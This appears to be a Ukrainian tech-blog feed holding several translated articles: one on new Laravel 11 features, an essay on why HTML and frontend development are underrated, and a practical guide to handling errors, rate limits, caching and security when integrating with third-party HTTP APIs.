Laravel 11 включає директиву маршруту здоров’я (health routing), яка задає в додатку ендпоінт перевірки стану програми. Точка може бути викликана сторонніми сервісами моніторингу здоров’я програм або системами оркестрування, такими як Kubernetes. За промовчанням цей маршрут обслуговується за адресою /up
:
->withRouting(
web: __DIR__.'/../routes/web.php',
commands: __DIR__.'/../routes/console.php',
health: '/up',
)
При HTTP-запитах до цього маршруту Laravel також відправлятиме подію DiagnosingHealth
, що дозволить вам виконати додаткові перевірки працездатності, актуальні для вашої програми.
Витончена ротація ключа шифрування
Оскільки Laravel шифрує всі файли cookie, включаючи сесії вашої програми, практично кожен запит залежить від шифрування. Однак, через це зміна ключа шифрування в програмі призведе до виходу всіх користувачів з вашої програми. Крім того, розшифровка даних, зашифрованих попереднім ключем шифрування, стає неможливою.
Laravel 11 дозволяє вам задати попередні ключі шифрування вашої програми у вигляді списку, розділеного комами, через змінну оточення APP_PREVIOUS_KEYS.
При шифруванні значень Laravel завжди буде використовувати “поточний” ключ шифрування, який знаходиться в змінному середовищі APP_KEY. Під час розшифрування значень Laravel спочатку спробує використати поточний ключ. Якщо розшифровка з використанням поточного ключа не вдалася, то Laravel спробує використати всі попередні ключі, доки один із ключів не зможе розшифрувати значення.
Такий підхід до дешифрування дозволяє користувачам продовжувати використовувати вашу програму безперервно, навіть якщо ваш ключ шифрування було змінено.
Валідація Prompt
Laravel Prompts — пакет для додавання красивих та зручних форм для командного рядка вашої програми, з функціями, схожими на браузерні, включаючи плейсхолдери та валідацію.
Laravel Prompts підтримує валідацію через замикання:
$name = text(
label: 'What is your name?',
validate: fn (string $value) => match (true) {
strlen($value) < 3 => 'The name must be at least 3 characters.',
strlen($value) > 255 => 'The name must not exceed 255 characters.',
default => null
}
);
Однак такий спосіб може стати громіздким при роботі з великою кількістю даних або складними сценаріями валідації. Тому в Laravel 11 ви можете використовувати всю потужність валідатора Laravel:
$name = text('What is your name?', validate: [
'name' => 'required|min:3|max:255',
]);
Тестування взаємодії з чергою
Раніше спроба протестувати, чи було завдання у черзі запущено, видалено чи завершилося збоєм, було обтяжливим і вимагало визначення кастомних фейків та заглушок черг. Однак у Laravel 11 ви можете легко протестувати ці взаємодії, використовуючи метод зFakeQueueInteractions:
use App\Jobs\ProcessPodcast;
$job = (new ProcessPodcast)->withFakeQueueInteractions();
$job->handle();
$job->assertReleased(delay: 30);
Нові Artisan-команди
Додано нові команди, що дозволяють швидко створювати класи, інтерфейси та трейти:
php artisan make:class
php artisan make:interface
php artisan make:trait
Джерело
Не варто недооцінювати HTML

“HTML – це просто”, “Розробляти фронтенд простіше, ніж бекенд”, “Після реалізації бекенда оновлення UI не повинно складати жодних труднощів”, – за час роботи у сфері веб-розробки навколо мене раз у раз звучали ці та інші аналогічні твердження.
Чому люди думають, що HTML – це просто?
А що взагалі означає «просто»? Простота якогось предмета зазвичай визначається щодо того, хто його розглядає. Коли я добре знаю якусь технологію чи мову програмування, для мене цей предмет виявляється простішим, ніж для новачка.
Деякі люди схильні будувати здогади щодо складності фронтенд-розробки, і на моєму досвіді зазвичай ними виявляються ті, хто не працює у цій сфері регулярно, особливо з HTML.
Ось кілька причин, які, на мою думку, це пояснюють:
- Синтаксис HTML неважко вивчити. Поєднуємо кутові дужки, імена тегів та пари ключ-значення (атрибути) та готове!
- Синтаксис HTML читабельний як для людей, так і для машини, що є однією з основних ідей XML-подібних мов.
- Після написання кількох рядків коду у файлі
.html
можна одразу ж без компіляції переглянути результат, відкривши його у браузері.
- У HTML низький поріг входу. У деяких WYSIWYG-редакторах є опція перемикання подання на «код», де можна переробити HTML-версію тексту, навіть не особливо розбираючись у процесі (вам доступно прев’ю, що тут може піти не так?)
- Браузери – це чудовий інструмент, який прощає вам безліч помилок (Дж. Девід Айзенберг описував це у своїй старій статті, наводячи роздуми, які є актуальними до цього дня). При відкритті HTML-сторінки з синтаксичними помилками браузер все одно щось та змалює. Забули закрити тег? Не проблема. Додали невідомий тег чи атрибут? Браузер його просто проігнорує. У порівнянні з мовою, в якій через втрачену точку з комою падає вся програма, такий стан справ справді сприймається «простим».
Гаразд, із цим закінчимо. Наступним ми розглянемо питання про те, чому люди схильні порівнювати веб-технології або протиставляти розробку фронтенду бекенд-розробці.
Чому люди вважають, що фронтенд-розробка – це легко?
Найважчою частиною є програмування веб-сайту або програми, після чого створювати фронтенд вже нескладно. Правильно? Деколи мені здається, що саме так думають багато розробників.
Користувачі та стейкхолдери проекту часто не стикаються з бізнес-логікою бекенда і працюють тільки з UI. Обмірковувати розміщення різних кнопок, елементів інформації або спільну роботу UI простіше, тому що вона більш відчутна порівняно зі складними запитами до баз даних або вкладеними циклами for
та інструкціями if
. Бекенд – це чорний ящик, який робить свою магію і просто видає дані у фронтенд. Фронтенд-розробнику в результаті «просто» потрібно відобразити ці дані, додати кольори та побудувати макет (за допомогою CSS), довівши цим роботу до кінця.
На щастя, у цьому нам доступно безліч бібліотек клієнтських компонентів. Вам достатньо поєднати кілька (готових) уявлень, внести в них дані, і навіть не доведеться думати про кольори та макети – хіба це не круто? За такої всебічної допомоги майже будь-хто може створювати прекрасні фронтенд-рішення, не маючи особливого знання HTML/CSS!
</sarcasm>
Фронтенд руками «не-фронтенд» розробників
Я на особистому досвіді спостерігала, як люди, які вважають програмування фронтенду легким завданням (які звуть себе не фронтенд-, а фулстек-розробниками), допускали в коді найсерйозніші помилки (навіть при використанні фреймворків та бібліотек).
Гейдон описав цю тему в статті ” Reluctant Gatekeeping: The Problem With Full Stack “:
[…] якщо ви покладете всі ці та інші завдання на будь-кого […], він напевно виявиться значно слабшим у певних сферах, ніж інші. […] На моєму досвіді чоловіки частіше виявляють себе у знанні JavaScript або Python, але не CSS. CSS, який надає всьому «красу», вважається жіночою долею.
Деякі з позначених мною серйозних помилок були синтаксичними, інші стосувалися семантики, продуктивності, доступності тощо. В уявленнях прототипів під час тестування вони часто залишаються непоміченими, оскільки браузер до них не строгий, продуктивність на машині розробника зазвичай виявляється високою, а тести доступності не виконуються. передачі у продакшен.
Чому неправильний HTML-код є проблемою?
Перші проблеми можуть почати виявлятися після розгортання коду в продакшені. З ними зіткнуться користувачі, що не брали участі в розробці, коли почнуть взаємодіяти з продуктом. Деякі з цих проблем можуть стати наслідком помилок у HTML-коді.
Незручності для користувача
Розберемо проблеми, викликані некоректним HTML-кодом, з якими може зіткнутися користувач:
- Незручні форми (я маю окрему статтю з прикладами на тему проблем при використанні форм).
- Низька продуктивність (на YouTube є цікавий сюжет під назвою ” Get your ‘head’ straight “, в якому Гаррі Робертс розповідає про можливі проблеми в “шапці” HTML-документа).
- Неправильне використання заголовків (
h1
– h6
) або відсутні текстові альтернативи для нетекстового вмісту, що завдає незручності тим, хто використовує скринрідер.
- Неправильне використання або невикористання інтерактивних елементів («Div – це не кнопка!») або не інтуїтивний порядок табуляції між ними, що ускладнює навігацію та взаємодію за допомогою клавіатури.
- В принципі, все, що описано на htmlhell.dev .
- Некоректний HTML-код веде до некоректної роботи JavaScript, а отже, і неробочої функціональності.
Незручності для розробника
Проблеми використання вашого продукту при некоректному HTML/фронтенд-коді можуть виникати не тільки у користувачів. Ваші побратими-розробники теж можуть часом хапатися за голову, бо…
- …коли HTML-код погано структурований, стає складніше писати йому CSS. Іншими словами, після підключення до процесу розробки CSS код HTML часто потрібно коригувати. Коли у вас є досвід роботи з обома цими мовами, то, швидше за все, ваш HTML-і CSS-код вийде вдалим та зручним в обслуговуванні.
- Якщо HTML-код UI-компонентів вашого проекту виявиться недостатньо гнучким, то при додаванні нової функціональності ви можете виявитися позбавлені можливості перевикористовувати їх або масштабувати проект в принципі, не вдаючись до рефакторингу.
- …коли розробники не працюють з платформою, а намагаються заново винайти колесо, не зважаючи на можливість браузерів (наприклад, реалізуючи перехід між сторінками не за допомогою посилання, а через JavaScript), підвищується ймовірність виникнення багів, виправити які без порушення роботи решти програми виявляється складніше.
Чому це важливо?
Як говорилося вище, браузери мудрі та прощають нам багато помилок. Сайти можуть зберігати працездатність для багатьох користувачів, навіть якщо часом виявляються недоступними, повільно вантажаться, або подекуди дають збій. Обслуговування таких сайтів теж цілком здійсненне, якщо ви знайдете добросердечних розробників, які не проти повозитися з пахучою базою коду.
Ми, як розробники, повинні прагнути до того, щоб сайти та програми працювали для більшості, ні, для всіх користувачів інтернету, і створювати продукти, що відповідають потребам усіх наших (потенційних) клієнтів. Написання масштабованого та обслуговуваного коду не тільки веде до доступності, швидкості та зручності використання сайтів, але також полегшує життя розробників.
Справа не тільки в написанні HTML
Проблема тут у тому, що за відсутності базових знань HTML (CSS або JS) більшість відомих фреймворків не допоможуть вам досягти успіху швидше навпаки. В даному випадку це можна порівняти з розколюванням горіха за допомогою кувалди. Які б ви не використовували інструменти або новітні технології, зрештою в браузер відправляється саме HTML-, CSS- та JS-код, тому для створення хороших додатків необхідне знання принципу роботи цих мов.
Саме собою написання HTML справді не є складним.
Але! Побудова користувальницьких інтерфейсів шляхом елегантного компонування мовних можливостей за допомогою CSS, створення приємного дизайну і досвіду, що запам’ятовується, вимагає навичок, які не варто недооцінювати, як і HTML. Адже це одна з тих мов – можливо, найважливіша – які формують веб-середовище.
Аналогічну позицію щодо цінності (досвіду) веб-розробки розділили:
Давайте перестанемо порівнювати веб-технології та їхню цінність. Не обговорюватимемо, що простіше/складніше або більш/менш важливо. Давайте працювати в командах, прислухатися і вчитися у більш досвідчених людей, незалежно від того, чи є вони експертами в HTML, CSS, TypeScript, PHP, Python або [назвіть свою мову]… Давайте разом зробимо інтернет чудовим простором і цінуватимемо людей, які переважно працюють на фронті фронтенду!
Джерело
Працюємо з HTTP API: розбір частих проблем та методи їх вирішення

Час іде, технології розвиваються, а проблеми, пов’язані з використанням API, викликають у багатьох розробників ті самі складності, що й десятки років тому. Тим часом, зростання числа сервісів, які взаємодіють один з одним за допомогою даного способу, з кожним днем тільки збільшується, і невміння надійно, якісно і безпечно працювати з API може призвести до небезпечних збоїв або поломки системи, що розробляється.
Працюючи над проектами з використанням API передбачити всі проблеми заздалегідь просто неможливо. І це стосується не тільки веб-розробки: подібні складності (як і способи їх вирішення) схожі в системах різного типу. А оскільки з розвитком технологій взаємодія між різними сервісами через API з кожним днем все більш затребувана, то і вміння правильно вибудувати роботу з АПІ стає для кожного розробника ключовим. Для підтвердження цього факту не потрібно ходити далеко за прикладами: так, з великими мовними моделями, на зразок OpenAI GPT-3.5 або GPT-4, щодня взаємодіють тисячі сервісів, і ця взаємодія відбувається саме за API. Про величезний інтерес інтеграції з боку розробників можна судити, наприклад, за кількістю зірок на гітхабі OpenAI Сookbook (понад 53000).
Ще трохи статистики: більшість сучасних API є HTTP API (такими як REST і GraphQL), і за результатами дослідження Postman “2023 State of the API Report“, REST (і його підвиди) залишається найпопулярнішою архітектурою – її використовують 86% респондентів. З цієї причини в статті я більше зосереджуся на проблемах, пов’язаних швидше з REST, хоча багато згаданих мною рішень можуть бути актуальними і для інших підходів.
“418 I’m a teapot” – що ж може піти не так?
Отже, ви тільки розпочали розробку свого веб, десктоп, мобільного або ще якогось додатку, який повинен отримувати інформацію із зовнішнього джерела за допомогою API. На перший погляд, завдання може здатися нескладним: швидше за все, ви вже маєте хорошу або не дуже документацію по взаємодії зі стороннім сервісом і прикладами його інтеграції. Усього тільки і потрібно, що просто написати код, який буде надсилати запити з вашої програми, чи не так? На жаль немає…. Адже насправді все набагато складніше, ніж у теорії. Вас може очікувати безліч труднощів, починаючи від проблем із продуктивністю зовнішньої системи та закінчуючи питаннями безпеки. Кожна з них по-своєму підриває стабільність вашої розробки: іноді ризики маленькі, і їх можна знехтувати для швидкості створення проекту. Але часто проблеми наростають як снігова куля. Саме тому не варто недооцінювати їхню складність, щоб завжди бути готовим до різних перешкод на шляху до успішної інтеграції із зовнішнім API.
Проблеми вирішуються легше, якщо заздалегідь підготувати стратегію з їхньої опрацюванню: дотримуючись наведених нижче правил, можна мінімізувати вплив сторонніх сервісів на стабільність проекту, який ви створюєте.
“500 Internal Server Error” – вирішуємо проблеми доступності API
Почнемо розбір із однією з найчастіших помилок, яку іноді припускають навіть найдосвідченіші розробники систем, що взаємодіють з API сторонніх сервісів. Це некоректна обробка випадків, коли запитуваний ресурс поламаний або зовсім недоступний.
Навіть у великих сервісів, таких як GitHub, можуть відбуватися збої, які впливають на роботу залежних від них програм. А, наприклад, статистика щодо інцидентів і uptime для Discord показує, що доступність їх API далеко не завжди становить 100%: раз на кілька місяців відбуваються будь-які проблеми. Це означає, що сервіси, що використовують API Discord у своїх додатках, схильні до ризиків, і можуть також ламатися, якщо заздалегідь не передбачити і не реалізувати систему обробки помилок.
Але якщо навіть такі відомі сервіси іноді ламаються, що тоді говорити про менш популярні?
Розберемося з тим, як можна вирішувати проблеми, пов’язані з доступністю ресурсів. Звичайно, підходи можуть дещо відрізнятися в залежності від того, для якої мети ви здійснюєте API-запити.
Працюємо з помилками оновлення даних API
Для обробки помилок при оновленні даних на сторонньому сервісі список варіантів рішення буде таким:
- Асинхронна взаємодія. Черги запитів. У багатьох випадках, гарною практикою буде використання черг для відправки запитів на зовнішні ресурси. Такий підхід дозволить уникнути затримок при взаємодії користувачів з вашим сервісом при недоступності зовнішнього API: вашій системі просто не доведеться чекати, щоб віддати відповідь користувачу, перш ніж надсилання даних у сторонній сервіс успішно завершиться. Крім того, подібний метод дозволить вам отримати більший контроль над тим, як ви працюєте зі стороннім ресурсом. Наприклад, використовуючи його, ви зможете контролювати кількість запитів, що надсилаються в момент часу.
- Не забувайте повторювати спроби надсилання даних у разі невдачі. У разі помилок під час надсилання запиту реалізуйте логіку для автоматичних повторних спроб через деякі часові інтервали. Інтервали краще не робити фіксованими, і нижче я розповім чому. А інформацію про всі здійснені запити слід зберігати для контролю роботи вашої системи та аналізу стабільності стороннього сервісу. Даний функціонал буде легше реалізувати після того, як ви дослухаєтеся до першого пункту і створите черги завдань. Але, звичайно, можна обійтися і без них – все залежить від того, як зроблено ваш додаток.
Важливо: не повторюйте запити при помилках з кодами 4xx без додаткових дій з виправлення некоректного запиту . Справа в тому, що коди помилок, які починаються на 4, зазвичай говорять про те, що сам запит було надіслано некоректно (це клієнтські помилки).
- Будьте уважні до управління чергою завдань. Раніше я розповів, чому черга завдань надсилання API запитів може допомогти вам. Але використовуючи її, важливо пам’ятати, що занадто велика кількість завдань, що одночасно виконуються, може просто перевантажити і вашу систему, і використовуваний вами сторонній сервіс. Саме тому необхідно збалансувати частоту та кількість повторних спроб надсилання даних. Для цього можна використати невелику рандомізацію часу повтору невдалого запиту. Або навіть краще – методику експоненційного відкладення кожного наступного виклику API ( exponential backoff ). Так ви зменшите ймовірність одномоментної відправки великої кількості повторних запитів і не покладете на лопатки вашу чергу і сервіс, з яким взаємодієте.
- Уникайте повторного надсилання однакових даних. Якщо сторонній сервіс недоступний якийсь час, це може призвести до того, що в черзі на повторне відправлення з’являться запити, що дублюють або зайві API. Наприклад, користувач відредагував свій профіль зі стану A до стану B, потім зі стану B у стан C, і після цього знову повернув все до стану A, а при кожному редагуванні профілю ви повинні були оновити дані на сторонньому сервісі через API. У цьому прикладі ваша система може намагатися виконати зайві запити, адже в результаті дані повертаються в початковий стан, і значить відправлення всього цього ланцюжка, ймовірно, слід зупинити. Якби ми зупинилися в стані C, відправка всього ланцюжка запитів теж не мала б сенсу. У цьому випадку можна об’єднати всі дані змін в очікуванні відправлення і отримати diff щодо початкового стану (звичайно ж, враховуючи при цьому послідовність правок). Працюючи тільки з diff-ом, кінцевий запит ви отримаєте лише один, а на додаток зможете уникнути проблем, пов’язаних з гонкою станів .
- Інформація користувача. Після кількох невдалих спроб надсилання API запиту, не забудьте повідомити користувача про проблему. Він швидше за все і не в курсі, що ваша система залежить від стороннього сервісу, а значить, може просто не дочекатися, коли необхідний йому функціонал почне працювати. Ця порада особливо актуальна, якщо без надсилання даних в інший сервіс ваша система не може якісно продовжувати роботу. Пам’ятайте, що при роботі з зовнішніми API може статися будь-яке. Наприклад, сервіс, який ви використовуєте в роботі, може просто закрити доступ до API або раптово зробити його платним (що саме недавно сталося з Twitter/X). Саме тому важливо передбачити подібні сценарії і постаратися знизити негативні емоції ваших користувачів, давши зрозуміти їм, що над проблемою, що склалася, вже йде робота і скоро вона буде завершена.
Обробляємо помилки при запиті даних API
Для кейсів, де ви запитуєте дані через API, способи та підходи рішення трохи інші, але є й загальні пункти:
- І знову черги. Уявімо ситуацію: у реалізованому вами продукті реєструється новий користувач, але для завершення цього процесу вам потрібно підвантажити дані зі стороннього сервісу. Якщо цей сервіс та його API зламається, то тайм-аут операції на вашому сайті буде занадто довгим, реєстрація не пройде, і ви, можливо, втратите клієнта. Тому ми діємо тут, як і у випадку з відправкою даних до стороннього сервісу через АПІ – підвантажуємо дані через чергу щоразу, коли це можливо, знижуючи таким чином час відгуку вашої системи.
- Повторні спроби запиту та управління чергою завдань . Тут все те саме, як і в пункті оновлення даних. Якщо ви реалізували підвантаження необхідних даних із сторонньої системи через чергу, доопрацювати систему для управління цією чергою не складе значних труднощів.
- Запит даних безпосередньо від користувача, якщо сторонній сервіс недоступний. Такий спосіб рішення можливий у багатьох випадках: ви можете чесно сказати, що дані не завантажилися, і попросити користувача самостійно ввести їх. Звичайно, цей варіант не закриє всі кейси, адже бувають випадки, коли потрібно підвантажити історію замовлень або статистику, яку користувач, само собою, ввести не в змозі. Але якщо це, наприклад, просто список інтересів користувача, запитати про це буде легше, ніж продовжувати намагатися витягти ці дані з сторонньої системи, що не працює.
- Кешування. Не слід щоразу намагатися отримати одне й те саме зі стороннього сервісу: використовуйте кеш, який заразом допоможе в тих випадках, коли запитуваний ресурс буде недоступний. Ну а якщо дані ризикують бути зміненими, кеш можна використовувати як запасний аеродром – просто попередьте вашого користувача, що вони могли застаріти.
- Додаткове джерело отримання даних. Ніякий API не може називатися безпечним та стабільним джерелом даних, а отже, по можливості, слід передбачити і запасний варіант. Наприклад, ви займаєтеся розробкою сервісу, який аналізує історію покупок та продажу акцій на біржі. У цьому випадку вам буде доступно відразу кілька різних провайдерів API, що надають історичні дані по акціях. Отже, одного з них можна використовувати як fallback-варіант. Так, такий спосіб буде доступний вам далеко не у всіх сценаріях, але якщо вам пощастило, і додаткове джерело є – обов’язково беріть його на озброєння.
Додаткові поради
Крім перерахованого, для всіх випадків роботи з API важливо проводити налаштування connection timeout та request timeout запитів . Це допоможе уникнути надмірного навантаження на вашу систему, запобігаючи ситуації, коли запити виконуються надто довго.
Визначаємо connection timeout та request timeout за допомогою curl
Вибір значення таймууту – завдання непросте, і залежить від великої кількості факторів. Connection timeout зазвичай виставляється менше ніж request timeout, тому що процес встановлення з’єднання зазвичай займає менше часу, ніж обробка цього запиту сервером. Хоча, звичайно, все залежить від того, де розташовані сервери провайдера API. Щоб підібрати відповідні значення, розумним рішенням буде спочатку зібрати статистику роботи даного API в shadow mode. Такі дані легко отримати через curl за допомогою опції –write-out:
curl -o /dev/null -s -w "Time to connect: %{time_connect}\nTime to start transfer: %{time_starttransfer}\n" https://google.com
У libcurl цю інформацію можна отримати через метод curl_easy_getinfo , де необхідні дані будуть повернуті до CURLINFO_CONNECT_TIME та CURLINFO_STARTTRANSFER_TIME .
Після збору необхідних метрик, використовуючи статистичні дані, ви зможете визначити поріг допустимих таймаутів для роботи з API.
Ще однією корисною дією буде додавання систем моніторингу та оповіщень . Якщо сторонній сервіс перестав відповідати, ви повинні дізнаватись про це миттєво. А якщо API починає видавати занадто велику кількість помилок, необхідно передбачити систему, яка автоматично знизить потік запитів, що надсилаються в момент часу.
«429 Too Many Requests» – працюємо з лімітуванням кількості запитів
Тепер, коли ми вирішили проблеми, пов’язані з недоступністю АПІ, слід подумати, як боротися з лімітами на кількість запитів. Це питання теж дуже актуальне і може спливти в невідповідний момент. Більше того, провайдер API може ці ліміти зовсім несподівано змінити, тому життєво важливо передбачити подібну ситуацію заздалегідь, щоб вирішити всі труднощі максимально швидко.
Частина прописаних вище порад підійде і тут. Наприклад, кешування відповідей може врятувати вас від необхідності надто частого відправлення API-запитів, оскільки ймовірність перевищення лімітів тоді буде помітно нижчою.
Додаткова інформація про кеш в HTTP
Зазначу, що в HTTP API є безліч зручних механізмів роботи з часом життя кешу by design.
Наприклад, для отримання часу життя кешу можна використовувати заголовок Expires .
Cache-Control може використовуватись для встановлення інструкцій кешування.
ETag є ідентифікатором версії ресурсу. Якщо ресурс буде змінено, ETag також зміниться.
А Last-Modified показує, коли запитуваний ресурс був змінений востаннє. Але за наявності ETag, краще орієнтуватися саме на нього, оскільки він вважається надійнішим: Last-Modified має обмеження у вигляді одиниці часу (зазвичай за секунди), що може не відображати дрібні зміни. Крім цього, ETag буде точнішим у випадку, якщо ресурс був змінений, але його вміст залишився незмінним.
При цьому всі перераховані вище заголовки можна отримати за запитом типу HEAD . Він, зазвичай, не обмежується показником рейт ліміту чи обмежується значно більшим лімітом, ніж інші типи запитів.
Як і у випадку обробки ситуацій при недоступності API, крім реалізації кешування, ефективно використовувати чергу запитів і механізм для повторного відправлення запиту (можливо з реалізацією diff-логіки). Цей підхід можна назвати «золотим стандартом» для сценаріїв, коли не завжди можна отримати відповідь від стороннього сервісу миттєво. Керування чергами запитів допомагає забезпечити безперервну роботу програми, навіть якщо сторонній API тимчасово збоїть. Але є й додаткові рекомендації для запобігання проблемам з rate-limiting:
- Працюйте у кожному окремому запиті з великою кількістю корисних (але не зайвих) даних. Наприклад, у багатьох реалізаціях REST API існує спосіб отримати одразу цілий набір елементів за певними фільтрами. Але не забувайте, по можливості, вимагати лише необхідні поля, щоб не ганяти зайві дані по мережі. POST / PATCH запити для створення або оновлення записів у деяких API також підтримують операції відразу з набором сутностей. Звичайно, REST є лише набором рекомендацій, у житті доступні можливості залежать від реалізації API, і подібний функціонал може бути відсутнім. Проте, практика показала, що можна зв’язатися з розробниками і попросити впровадити потрібні функції . Спробуйте. Гірше точно не буде!
- Намагайтеся розподілити запити за часом. Коли ми обговорювали проблеми доступності API, я вже пропонував додавати випадковий час для повторного надсилання запиту. Але іноді для обходу лімітів потрібно реалізувати більш складний механізм. Для його реалізації краще наперед вивчити документацію та з’ясувати усі існуючі обмеження.
- Використовуйте ключі API від користувачів, якщо це можливо. У деяких сценаріях, за наявності явної згоди користувачів, можна використовувати їх API-ключі для надсилання запитів на інші сервіси. Це може бути корисним для обходу обмежень кількості запитів, встановлених цими сервісами. Одним з найпоширеніших методів є використання технології OAuth . OAuth дозволяє користувачам надавати обмежений доступ до своїх даних через токени, за винятком необхідності передачі логіну та пароля. Важливо, що при використанні такого підходу необхідно суворо дотримуватися принципів безпеки. Для цього слід забезпечити належне інформування користувачів про способи використання їх даних, а також гарантувати безпечне зберігання та обробку API-ключів та OAuth токенів. Крім того, необхідно переконатися, що таке використання API-ключів відповідає політиці конфіденційності сторонніх сервісів та законодавству про захист даних.
- Застосовуйте Callback-API там, де це можливо. Багато сервісів надають і такий тип API на додаток до REST, оскільки він є ідеальним варіантом для того, щоб запобігти безглуздому надсиланню зайвих запитів. За допомогою цього методу ви просто підписуєтеся на певні події, не опитуючи сторонній сервіс регулярно. Знову ж таки, реалізація даного функціоналу може сильно змінюватись в залежності від того, хто цей API надає. Проте є й стандарти. Наприклад, у специфікації OpenAPI 3 визначено, як правильно працювати з колббеками . Але використовуючи даний метод ви завжди повинні пам’ятати, що надаючи URL-адресу вашого ресурсу для callback-дзвінка, слід приховувати IP-адресу реального сервера. Крім того, домен, що використовується, не повинен бути очевидним для зловмисників.
До речі, використовуючи перелічені вище поради, ви не тільки зменшуєте ймовірність помилок, але й економите бюджет, якщо доступ до API – платний. Отже, це саме той випадок, коли можна вбити одразу двох зайців та заощадити патрони.
«451 Unavailable For Legal Reasons» – відповідь від API не завжди така, якою ви її очікуєте
Сторонній АНІ може повернути буквально все, що завгодно. Виправлення: а може і не повернути те, що ви хотіли від нього отримати. Адже не всі мають хороші методи для версіонування, а іноді їх і немає зовсім. Тож часом навіть один і той же запит може сьогодні повертати одне, а завтра – зовсім інше. Мораль: не забувати про такий варіант розвитку подій і ніколи не покладатися повністю на сторонніх розробників.
До речі, проблема не завжди пов’язана із зміною версій. Бувають випадки, коли після блокування ресурсу інтернет-провайдери замість якогось JSON-а починають повертати HTML з інформацією про блокування. Або, наприклад, сервіси захисту від DDoS можуть замінювати контент, також повертаючи HTML з капчею для перевірки користувача. Так, другий кейс можуть передбачити творці API, але на практиці таке відбувається далеко не завжди. Ось що допоможе в цій ситуації:
- Валідація даних, що повертаються. Це дуже важливий крок. Відразу, виконуючи валідацію відповіді, ви зменшуєте ймовірність помилки при подальшій роботі з отриманими даними в коді. До даних, що повертаються, які варто перевіряти, відноситься не тільки response body, але й взагалі будь-яка інформація, яку ви використовуєте в додатку, наприклад, які-небудь заголовки, так як вони теж можуть бути схильні до несподіваних змін.
- Використання API-прокси для приведення даних до очікуваного формату. Мінімізувати ризик помилок у додатку при взаємодії з API (особливо у випадках його незначних змін) іноді допомагає проксі. Спеціально налаштований проксі-сервер може допомогти привести отримані дані до необхідного формату, що особливо корисно, коли API часто оновлюється і модифікується. Проксі-сервер може згладжувати невідповідності між версіями API та структурою очікуваних даних у програмі. Існує низка рішень, які можуть підійти для цієї мети і навіть надати величезну кількість додаткових можливостей. Наприклад, вам може підійти Apigee – потужний платний сервіс Google. Але пам’ятайте, що будь-який API-proxy також схильний до помилок і проблем, тому завжди слід бути напоготові.
- І тут теж потрібна система моніторингу та логування всіх проблем, пов’язаних із неправильними відповідями від використовуваного API. А налаштувавши оповіщення, ви зможете реагувати на будь-які помилки максимально швидко.
- Зниження залежності від даних , що отримуються зі стороннього сервісу . Вкотре нагадаю цю прописну істину, щоб вона міцно засіла у пам’яті: взаємодія із сторонніми продуктами завжди несе у собі чималі ризики, тому, що вона менше, то краще.
- Відстеження оновлень та новин провайдера API . Може статися так, що використовуваний вами API буде змінено, або якісь його функції будуть позначені як застарілі для видалення в майбутньому. Моніторинг новин та змін допоможе підготуватися до деяких потенційних складнощів, адже багато змін можуть анонсуватися заздалегідь.
- Своєчасне оновлення версій API . Якщо API має різні версії, не тягніть занадто довго з оновленнями, адже рано чи пізно старі версії припиняють підтримувати, а після великої кількості часу оновлення може стати занадто дорогим і болючим.
- Не ігноруйте перенаправлення. Може статися і така ситуація, коли ви успішно впровадили API, але через якийсь час його розробники вирішили додати редирект. Наприклад, інший домен. Або ж, у API-ендпоінтів раніше не було https, а коли його додали, вирішили відразу перевести всіх на безпечне з’єднання. Для того, щоб ваша інтеграція не зламалася від цієї редагування, краще завжди слідувати редиректам. У разі використання libcurl вам допоможе опція CURLOPT_FOLLOWLOCATION .
«426 Upgrade Required» – не забуваємо про безпеку
Ось про що, а про безпеку користувачі API думають не так часто. А дарма, адже зловмисникам це добре відомо. Досвідчені зломщики можуть скористатися вашою неуважністю і хакнути розроблювану вами систему, і для цього у них приготовлена маса способів.
Розробник, що реалізує взаємодію зі стороннім API, завжди повинен пам’ятати такі правила:
- У жодному разі не зберігайте API-ключі або секрети в коді вашої програми. Навіть якщо ви думаєте, що до вашого коду точно ніхто не отримає доступ, або що розроблювана вами система взагалі мало кому цікава, на жаль, у хакерів свою думку на цей рахунок. І особливо їм подобаються робочі ключі для доступу до АПІ сторонніх сервісів, які, до речі, можуть бути платними.
- Приховуйте реальний IP вашого сервера під час надсилання запиту. Знаючи IP, погані люди можуть зробити дуже багато поганих речей з вашим проектом та сервером. Наприклад, елементарно його заDDOSити. Для безпеки обов’язково використовуйте набір проксі-серверів, через які повинні йти запити з вашого сервера. Таким чином, у крайньому випадку погано буде не вашому реальному серверу, а лише бідному проксі, який, якщо що, можна легко замінити на новий.
- Не довіряйте даних, що повертаються від стороннього API. Справа в тому, що окрім абсолютно безпечної інформації через відповіді від АПІ зловмисники можуть спробувати зробити SQL-ін’єкцію або XSS атаку. І не дарма, адже велика кількість розробників навіть не замислюється над тим, що так взагалі може бути. Всі дані, що повертаються від сторонніх сервісів обов’язково необхідно фільтрувати, перш ніж виводити на своєму ресурсі або зберігати куди-небудь. Вище я радив логувати відповіді від стороннього сервісу: отож, знайте, що цей тип атаки можна провести і через HTTP заголовки. Наприклад, якщо ви вирішили вивести в адмінку якийсь заголовок, який повернув сервер при відповіді на запит, без фільтрації контенту – це вірний спосіб нарватися на атаку XSS. Звичайно, тут я навів дуже рідкісний приклад, але його реалізація можлива. А це означає, що треба бути готовим до такого розвитку подій.
- Не надсилайте через API секретну інформацію без необхідності. Намагайтеся стежити за тим, яку інформацію ви надсилаєте у запиті. У будь-якій його частині: у заголовках, параметрах, тілі. Будьте пильні завжди, а з персональними даними ваших клієнтів – тим більше, адже витік такої інформації може нести серйозні юридичні ризики.
- Намагайтеся завжди використовувати HTTPS для API запитів . Вибираючи між http і https завжди використовуйте другий варіант: так ви суттєво зменшите ризик витоку інформації.
“200 OK” – тепер ви знаєте, як працювати з основними ризиками API
У цій статті я спробував висвітлити проблеми API, що найчастіше зустрічаються, і методи їх вирішення. Головне, що повинен пам’ятати кожен: під час роботи зі сторонніми API не варто вірити в їхню абсолютну надійність. Проблеми можуть виникнути там, де ви на них найменше очікуєте, тому вкрай важливо ретельно продумувати архітектуру та стратегії обробки помилок у ваших додатках заздалегідь, щоб максимально зменшити потенційні ризики та забезпечити стійкість роботи вашого сервісу в майбутньому.
Джерело
Квантовий комп’ютер: кому світить аналого-цифрова люстра?

